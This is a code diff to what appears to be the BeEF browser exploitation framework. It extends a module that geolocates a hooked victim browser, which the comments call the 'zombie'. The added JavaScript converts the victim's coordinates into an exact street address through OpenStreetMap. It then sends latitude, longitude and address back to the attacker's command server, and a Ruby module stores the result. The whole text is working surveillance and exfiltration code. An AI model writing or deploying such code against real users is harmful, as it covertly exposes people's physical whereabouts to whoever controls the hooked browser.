diff --git a/modules/beefjs/geolocation.js b/modules/beefjs/geolocation.js index 192510acb..c3349faa1 100644 --- a/modules/beefjs/geolocation.js +++ b/modules/beefjs/geolocation.js @@ -12,6 +12,26 @@ beef.geolocation = { return !!navigator.geolocation; }, + /* + * given latitude/longitude retrieves exact street position of the zombie + */ + getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){ + beef.net.request( + 'http://nominatim.openstreetmap.org/reverse?format=json&lat=' + latitude + '&lon=' + longitude + '&zoom=18&addressdetails=1', + 'GET', + function(response) { + if(response.length > 0) { + var jsonData = JSON.parse(response); + beef.net.sendback(command_url, command_id, "latitude=" + latitude + + "&longitude=" + longitude + + "&openStreetMap=" + escape(jsonData.display_name) + + "&geoLocEnabled=True"); + } + }, + '' + ); + }, + /* * retrieve latitude/longitude using the geolocation API */ @@ -26,7 +46,7 @@ beef.geolocation = { function(position){ // success var latitude = position.coords.latitude; var longitude = position.coords.longitude; - beef.net.sendback(command_url, command_id, "geoLocEnabled=true&latitude=" + latitude + "&longitude=" + longitude + "&geoLocEnabled=True"); + beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude); }, function(error){ // failure switch(error.code) // Returns 0-3 diff --git a/modules/commands/host/physical_location/physical_location.rb b/modules/commands/host/physical_location/physical_location.rb index d91c58f9a..86848e1b4 100644 --- a/modules/commands/host/physical_location/physical_location.rb +++ b/modules/commands/host/physical_location/physical_location.rb @@ -28,6 +28,7 @@ class Physical_location < BeEF::Command content['Geolocation Enabled'] = @datastore['geoLocEnabled'] content['Latitude'] = @datastore['latitude'] content['Longitude'] = @datastore['longitude'] + content['Open Street Map Address'] = @datastore['openStreetMap'] save content end